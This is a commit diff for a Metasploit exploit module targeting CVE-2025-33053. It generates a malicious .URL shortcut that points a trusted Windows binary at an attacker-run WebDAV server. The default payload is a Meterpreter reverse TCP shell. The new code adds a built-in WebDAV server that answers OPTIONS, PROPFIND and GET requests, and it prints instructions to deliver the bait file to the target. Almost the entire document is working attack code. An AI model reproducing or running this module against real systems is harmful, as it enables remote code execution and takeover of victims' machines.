1
- # frozen_string_literal: true
1
+ ##
2
+ # This module requires Metasploit: https://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
2
5
3
- # Metasploit module to exploit CVE-2025-33053 via malicious .URL and WebDAV payload hosting.
4
6
class MetasploitModule < Msf ::Exploit ::Remote
5
7
Rank = NormalRanking
6
8
9
+ include Msf ::Exploit ::Remote ::HttpServer
10
+ include Msf ::Exploit ::FILEFORMAT
11
+
7
12
def initialize ( info = { } )
8
13
super (
9
14
update_info (
@@ -17,7 +22,11 @@ def initialize(info = {})
17
22
potentially resulting in remote code execution via a trusted binary.
18
23
} ,
19
24
20
- 'Author' => [ 'Dev Bui Hieu' ] ,
25
+ 'Author' => [
26
+ 'Alexandra Gofman' , # vuln research
27
+ 'David Driker' , # vuln research
28
+ 'Dev Bui Hieu' # module dev
29
+ ] ,
21
30
'License' => MSF_LICENSE ,
22
31
'DisclosureDate' => '2025-06-11' ,
23
32
'References' => [
@@ -38,12 +47,13 @@ def initialize(info = {})
38
47
39
48
register_options (
40
49
[
50
+ OptString . new ( 'URIPATH' , [ true , 'The URI to use (do not change)' , '/' ] ) ,
41
51
OptString . new ( 'OUTFILE' , [ true , 'Output URL file name' , 'bait.url' ] ) ,
42
52
OptString . new ( 'PAYLOAD_NAME' , [ true , 'Output payload file name' , 'route.exe' ] ) ,
43
53
OptString . new ( 'PAYLOAD' , [ true , 'Payload to generate' , 'windows/x64/meterpreter/reverse_tcp' ] ) ,
44
54
OptBool . new ( 'GEN_PAYLOAD' , [ true , 'Generate payload and move to WebDAV directory' , true ] ) ,
45
55
OptString . new ( 'WEBDAV_DIR' , [ true , 'WebDAV directory path' , '/var/www/webdav' ] )
46
- ]
56
+ ] , self . class
47
57
)
48
58
register_advanced_options (
49
59
[
@@ -57,64 +67,51 @@ def initialize(info = {})
57
67
)
58
68
end
59
69
60
- def exploit
61
- prepare_webdav_dir
62
- generate_payload_if_needed
63
- write_url_file
64
- print_status ( "Module complete. Deliver #{ File . expand_path ( datastore [ 'OUTFILE' ] ) } to victim." )
65
- end
66
-
67
- def prepare_webdav_dir
68
- print_status ( 'Creating WebDAV directory if not exists...' )
69
- FileUtils . mkdir_p ( datastore [ 'WEBDAV_DIR' ] ) unless File . directory? ( datastore [ 'WEBDAV_DIR' ] )
70
- rescue Errno ::EACCES
71
- fail_with ( Failure ::NoAccess ,
72
- "Cannot create WebDAV directory. Permission denied.\n " \
73
- "Try restarting Metasploit with sudo or change ownership of #{ datastore [ 'WEBDAV_DIR' ] } ." )
74
- end
75
-
76
- def generate_payload_if_needed
77
- return unless datastore [ 'GEN_PAYLOAD' ]
78
-
79
- exe_path = File . join ( datastore [ 'WEBDAV_DIR' ] , datastore [ 'PAYLOAD_NAME' ] )
80
- print_status ( 'Generating payload...' )
81
- generate_payload_exe ( datastore [ 'PAYLOAD' ] , datastore [ 'LHOST' ] , datastore [ 'LPORT' ] , exe_path )
82
- end
83
-
84
- def generate_payload_exe ( payload_name , lhost , lport , output_path )
85
- payload = framework . payloads . create ( payload_name . to_s . strip )
86
- payload . datastore [ 'LHOST' ] = lhost
87
- payload . datastore [ 'LPORT' ] = lport
88
- raw = payload . generate
89
- exe = Msf ::Util ::EXE . to_win32pe ( framework , raw )
90
- write_exe_file ( output_path , exe )
70
+ def on_request_uri ( cli , request )
71
+ print_status ( 'Got request' )
72
+ case request . method
73
+ when 'OPTIONS'
74
+ print_status ( '[+] Got OPTIONS request' )
75
+ process_options ( cli , request )
76
+ when 'PROPFIND'
77
+ print_status ( '[+] Got PROPFIND request' )
78
+ process_propfind ( cli , request )
79
+ when 'GET'
80
+ print_status ( '[+] Got GET request' )
81
+ process_get ( cli , request )
82
+ else
83
+ process_ignore ( cli , request )
84
+ end
91
85
end
92
86
93
- def write_exe_file ( path , exe )
94
- File . open ( path , 'wb' ) { |f | f . write ( exe ) }
95
- print_good ( "Payload successfully written to #{ path } " )
96
- rescue Errno ::EACCES
97
- return_error ( path )
87
+ def primer
88
+ webdav = '\\\\'
89
+ if datastore [ 'SSL' ]
90
+ if datastore [ 'SRVPORT' ] != 443
91
+ fail_with ( Failure ::BadConfig , 'SRVPORT must be 443' )
92
+ end
93
+ webdav = "#{ datastore [ 'SRVHOST' ] } @ssl"
94
+ else
95
+ webdav = "#{ datastore [ 'SRVHOST' ] } @#{ datastore [ 'SRVPORT' ] } "
96
+ end
97
+ webdav_unc = %(#{ webdav } \\ webdav\\ )
98
+ print_status ( "[+] WebDAV running at #{ webdav_unc } " )
99
+ write_url_file ( webdav_unc )
98
100
end
99
101
100
- def write_url_file
101
- content = generate_url_content
102
- outfile = datastore [ 'OUTFILE' ]
103
- begin
104
- print_status ( 'Generating .URL file...' )
105
- File . write ( outfile , content )
106
- print_good ( ".URL file written to: #{ outfile } " )
107
- rescue Errno ::EACCES
108
- return_error ( File . expand_path ( outfile ) )
109
- end
102
+ def write_url_file ( webdav_unc )
103
+ content = generate_url_content ( webdav_unc )
104
+ outfile = %(#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .url)
105
+ path = store_local ( 'webdav.url' , nil , content , outfile )
106
+ print_status ( "[+] URL file: #{ path } , deliver to target's machine" )
107
+ print_status ( "[+] Run following: curl http://#{ datastore [ 'SRVHOST' ] } :8080/#{ outfile } -o #{ outfile } " )
110
108
end
111
109
112
- def generate_url_content
113
- unc_path = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ File . basename ( datastore [ 'WEBDAV_DIR' ] ) } \\ "
110
+ def generate_url_content ( webdav_unc )
114
111
<<~URLFILE
115
112
[InternetShortcut]
116
113
URL=#{ datastore [ 'LOLBAS_EXE' ] }
117
- WorkingDirectory=#{ unc_path }
114
+ WorkingDirectory=#{ webdav_unc }
118
115
ShowCommand=7
119
116
IconIndex=#{ datastore [ 'ICON_INDEX' ] }
120
117
IconFile=#{ datastore [ 'ICON_PATH' ] }
0 commit comments